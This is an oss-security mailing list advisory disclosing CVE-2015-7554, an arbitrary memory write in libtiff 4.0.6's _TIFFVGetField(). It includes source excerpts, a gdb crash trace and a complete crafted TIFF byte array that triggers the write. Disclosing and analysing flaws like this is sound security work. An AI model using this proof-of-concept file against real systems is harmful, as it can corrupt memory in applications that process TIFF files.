[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] libtiff: invalid write (CVE-2015-7554)
From: Hans Jerry Illikainen <hji () dyntopia ! com>
Date: 2015-12-26 16:34:40
Message-ID: m1a8oxqicf.darpa () darpa ! mil
[Download RAW message or body]
`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.
Each tag has a `field_passcount' variable in their TIFFField struct:
tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
> struct _TIFFField {
> uint32 field_tag; /* field's tag */
> short field_readcount; /* read count/TIFF_VARIABLE/TIFF_SPP */
> short field_writecount; /* write count/TIFF_VARIABLE */
> TIFFDataType field_type; /* type of associated data */
> uint32 reserved; /* reserved for future extension */
> TIFFSetGetFieldType set_field_type; /* type to be passed to TIFFSetField */
> TIFFSetGetFieldType get_field_type; /* type to be passed to TIFFGetField */
> unsigned short field_bit; /* bit in fieldsset bit vector */
> unsigned char field_oktochange; /* if true, can change while writing */
> unsigned char field_passcount; /* if true, pass dir count on set */
> char* field_name; /* ASCII name */
> TIFFFieldArray* field_subfields; /* if field points to child ifds, child ifd field \
> definition array */
> };
`----
For example:
tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
> static const TIFFField fax3Fields[] = {
> { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, \
> FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
> };
`----
However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'. This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':
tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
> int
> TIFFReadDirectory(TIFF* tif)
> {
> [...]
> TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
> if (fii == FAILED_FII)
> {
> TIFFWarningExt(tif->tif_clientdata, module,
> "Unknown field with tag %d (0x%x) encountered",
> dp->tdir_tag,dp->tdir_tag);
> /* the following knowingly leaks the
> anonymous field structure */
> if (!_TIFFMergeFields(tif,
> _TIFFCreateAnonField(tif,
> dp->tdir_tag,
> (TIFFDataType) dp->tdir_type),
> 1)) {
> [...]
> }
`----
tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
> TIFFField*
> _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
> {
> [...]
> fld->field_bit = FIELD_CUSTOM;
> [...]
> fld->field_passcount = TRUE;
> [...]
> }
`----
If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:
tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
> static int
> _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
> {
> [...]
> uint32 standard_tag = tag;
> [...]
> if (fip->field_bit == FIELD_CUSTOM) {
> standard_tag = 0;
> }
>
> switch (standard_tag) {
> [...]
> default:
> {
> [...]
> for (i = 0; i < td->td_customValueCount; i++) {
> [...]
> if (fip->field_passcount) {
> if (fip->field_readcount == TIFF_VARIABLE2)
> *va_arg(ap, uint32*) = (uint32)tv->count;
> else /* Assume TIFF_VARIABLE */
> *va_arg(ap, uint16*) = (uint16)tv->count;
> *va_arg(ap, void **) = tv->value;
> ret_val = 1;
> }
> [...]
> }
> }
> }
> [...]
> }
`----
With an invocation of `TIFFGetField()' such as:
,----
> TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----
for a TIFFTAG_GROUP3OPTIONS specified as:
,----
> 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
> ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^
> tag type count offset/value
`----
the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.
Using the included tiffsplit utility as an example:
tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
> static int
> tiffcp(TIFF* in, TIFF* out)
> {
> [...]
> CopyField(TIFFTAG_YRESOLUTION, floatv);
> CopyField(TIFFTAG_GROUP3OPTIONS, longv);
> [...]
> }
`----
,----
> $ gdb -q --args tiffsplit tag.tiff
> Reading symbols from tiffsplit...done.
> (gdb) r
> TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
>
> Program received signal SIGSEGV, Segmentation fault.
> 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 \
> "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at \
> tif_dir.c:1056
> 1056 *va_arg(ap, void **) = tv->value;
> (gdb) x/i $eip
> => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>: mov %edx,(%eax)
> (gdb) x/x $edx
> 0x804d670: 0x41414141
> (gdb) x/x $eax
> 0x41410000: Cannot access memory at address 0x41410000
> (gdb)
`----
tag.tiff:
,----
> unsigned char tiff[] = {
> /* little-endian */
> 0x49, 0x49,
>
> /* version */
> 0x2a, 0x00,
>
> /* tif->tif_diroff */
> 0x09, 0x00, 0x00, 0x00,
> 0x00,
>
> /* tag count */
> 0x07, 0x00,
>
> /* tag | type | count | offset/value */
> /* TIFFTAG_IMAGEWIDTH */
> 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_IMAGELENGTH */
> 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_BITSPERSAMPLE */
> 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
> /* TIFFTAG_STRIPOFFSETS */
> 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_STRIPBYTECOUNTS */
> 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_YRESOLUTION */
> 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
> /* TIFFTAG_GROUP3OPTIONS */
> 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
>
> /* tif->tif_nextdiroff */
> 0x00, 0x00, 0x00, 0x00,
>
> /* bits per sample */
> 0x08, 0x00,
> 0x08, 0x00,
> 0x08, 0x00,
> };
`----
This issue has been assigned CVE-2015-7554 and it has yet to be fixed.
--
Hans Jerry Illikainen
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic